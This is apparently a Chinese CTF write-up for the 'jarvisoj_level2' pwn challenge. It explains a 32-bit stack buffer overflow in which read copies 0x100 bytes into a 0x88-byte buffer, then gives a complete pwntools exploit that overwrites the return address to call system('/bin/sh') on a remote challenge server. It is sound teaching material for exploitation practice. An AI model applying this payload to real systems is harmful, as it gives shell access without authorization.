当前位置:网站首页>jarvisoj_level2
jarvisoj_level2
2022-06-24 06:43:00 【[mzq]】
jarvisoj_level2

32位没有开canary 然后程序的read函数有溢出 可以执行栈溢出操作
main函数 这个调用了system 函数所以plt表中是有system的地址的

vulnerable function函数 read发生溢出 &buf 栈上只有0x88,然而却读入了0x100
,造成我们可以覆盖栈上ebp return address 的值.


exp
from pwn import *
#io = process("./level2")
io = remote("node4.buuoj.cn",27209)
elf = ELF("./level2")
context(log_level="debug",arch="i386")
system_plt = elf.plt["system"]
binsh = next(elf.search("/bin/sh"))
payload = flat(["a"*0x88,"iebp",system_plt,0,binsh])
io.sendline(payload)
io.interactive()

边栏推荐
猜你喜欢

Huawei cloud database advanced learning

FreeRTOS MPU makes the system more robust!

JVM debugging tool -jvisualvm

树莓派4B开发板入门

20 not to be missed ES6 tips

What are the dazzling skills of spot gold?

Typora charges? Build vs Code markdown writing environment

【Proteus】Arduino UNO + DS1307+LCD1602时间显示

JVM debugging tool -jmap
![[OGeek2019]babyrop](/img/74/5f93dcee9ea5a562a7fba5c17aab76.png)
[OGeek2019]babyrop
随机推荐
Huawei experimental topology set, learning methods are attached at the end of the article!
超宽带脉冲定位方案,UWB精准定位技术,无线室内定位应用
In the middle of the year, I have prepared a small number of automated interview questions. Welcome to the self-test
How to distinguish PAAS, IAAs and SaaS?
Accelerate large-scale data analysis based on Apache iceberg through data organization optimization
毕业季进击的技术
. Net7 miniapi (special part):preview5 optimizes JWT verification (Part 1)
What are the dazzling skills of spot gold?
Typora charges? Build vs Code markdown writing environment
[TS] function type
0 foundation a literature club low code development member management applet (5)
buuctf misc 从娃娃抓起
[problem solving] virtual machine configuration static IP
MFC使用控制台时 项目路径中不能有空格和中文,否则会报错误 LNK1342 未能保存要编辑的二进制文件的备份副本等
JVM调试工具-jvisualvm
树莓派4B开发板入门
Huawei cloud database advanced learning
[problem solving] the connection to the server localhost:8080 was referred
0 foundation a literature club low code development member management applet (4)
Smart space 𞓜 visualization of operation of digital twin cargo spacecraft